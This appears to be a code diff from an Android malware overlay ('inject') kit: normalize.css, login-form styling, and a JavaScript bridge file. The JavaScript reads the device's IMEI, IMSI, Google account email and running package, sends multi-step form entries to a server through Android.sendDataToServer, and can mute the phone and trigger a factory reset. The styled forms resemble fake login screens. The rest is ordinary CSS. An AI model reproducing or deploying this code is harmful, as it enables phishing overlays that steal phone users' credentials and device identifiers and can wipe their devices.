/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 9.4 KiB |
|
After Width: | Height: | Size: 13 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,306 @@
|
||||
|
||||
|
||||
|
||||
.container {
|
||||
padding-top:70px;
|
||||
}
|
||||
.wrapper .row {
|
||||
position: relative;
|
||||
float: left;
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_header{
|
||||
background: #FFFFFF;
|
||||
border: solid 1px #365FB4;
|
||||
}
|
||||
.row_header + .row {
|
||||
margin-top: 14px;
|
||||
}
|
||||
.form_header {
|
||||
background: #FAC800;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
top:0;
|
||||
left:0;
|
||||
width:100%;
|
||||
padding: 20px 12px 6px 12px;
|
||||
border-bottom: solid 1px #A9A9A9;
|
||||
}
|
||||
.content{
|
||||
padding: 0 15px;
|
||||
max-width: 330px;
|
||||
margin: 0 auto;
|
||||
max-width: 100%;
|
||||
overflow: hidden;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #000;
|
||||
font-family: "Helvetica";
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 131px;
|
||||
padding-right: 6%;
|
||||
margin-bottom: 13px;
|
||||
}
|
||||
.inp_caption_l {
|
||||
position: absolute;
|
||||
left: 6%;
|
||||
text-align: left;
|
||||
top: 8px;
|
||||
}
|
||||
.inp_wr_l {
|
||||
float: right;
|
||||
width: 100%;
|
||||
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: none;
|
||||
outline-style: none;
|
||||
background-color: #FFF;
|
||||
border: 1px solid #E8E8E8;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
max-width: 330px;
|
||||
height: 35px;
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr {
|
||||
display:table;
|
||||
max-width:330px;
|
||||
margin-left:auto;
|
||||
margin-right:auto;
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.logon_btn {
|
||||
width: 140px;
|
||||
height: 40px;
|
||||
background-color: #FE0101;
|
||||
background-image: -moz-linear-gradient(bottom, #08108B 0%, #08108B 100%);
|
||||
background-image: -o-linear-gradient(bottom, #08108B 0%, #08108B 100%);
|
||||
background-image: -webkit-linear-gradient(bottom, #08108B 0%, #08108B 100%);
|
||||
background-image: linear-gradient(to top, #08108B 0%, #08108B 100%);
|
||||
border: 2px solid #F0F0F0;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
-webkit-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
cursor: pointer;
|
||||
outline-style: none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
|
||||
.main_select {
|
||||
text-align: left;
|
||||
}
|
||||
.main_select.jq-selectbox {
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 35px;
|
||||
padding: 0 5px 0 5px;
|
||||
border: 1px solid #E8E8E8 !important;
|
||||
-moz-border-radius: 5px !important;
|
||||
-webkit-border-radius: 5px !important;
|
||||
border-radius: 5px !important;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
border-radius: 0;
|
||||
background: #fff;
|
||||
box-shadow: none;
|
||||
color: #363636;
|
||||
text-shadow: none;
|
||||
font-size: 14px;
|
||||
font: 14px/26px 'Helvetica';
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger {
|
||||
width: 30px;
|
||||
height: 35px !important;
|
||||
height: 100%;
|
||||
border-left: none;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow {
|
||||
top: 16px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text {
|
||||
height: 35px;
|
||||
line-height: 37px;
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown {
|
||||
top: 35px !important;
|
||||
width: 100%;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 1px solid #CCC;
|
||||
border-radius: 0;
|
||||
background: #FFF;
|
||||
box-shadow: none;
|
||||
font: 14px/26px 'Helvetica';
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown li{
|
||||
padding: 0 5px 0 !important;
|
||||
}
|
||||
@media (max-width: 320px){
|
||||
.inp_caption_l {
|
||||
left: 0;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 110px;
|
||||
padding-right: 0;
|
||||
}
|
||||
}
|
||||
@media (max-height: 436px){
|
||||
.form_header {
|
||||
padding: 10px 5px 5px 5px;
|
||||
height: 40px;
|
||||
}
|
||||
.container {padding-top:40px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 0;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.logon_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 20px;
|
||||
line-height: 22px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 20px !important;
|
||||
width: 18px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 9px;
|
||||
right: 6px;
|
||||
}
|
||||
.inp_caption_l{
|
||||
top: 3px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
}
|
||||
@media (max-height: 240px) {
|
||||
.input_block_wr_l{
|
||||
padding-left: 95px;
|
||||
}
|
||||
}
|
||||
@media (max-width: 200px), (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 18px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.container {padding-top:18px;}
|
||||
.form_header img{
|
||||
max-height: 13px;
|
||||
}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: -3px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 0;
|
||||
}
|
||||
.main_input{
|
||||
height: 12px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 1px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 1px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.logon_btn{
|
||||
font-size: 7px;
|
||||
width: 70px;
|
||||
height: 16px;
|
||||
line-height: 10px;
|
||||
}
|
||||
.logon_btn img {
|
||||
top: 4px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 3px;
|
||||
padding-left: 70px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 15px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 15px;
|
||||
line-height: 15px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 15px !important;
|
||||
width: 7px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 6px;
|
||||
right: 3px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
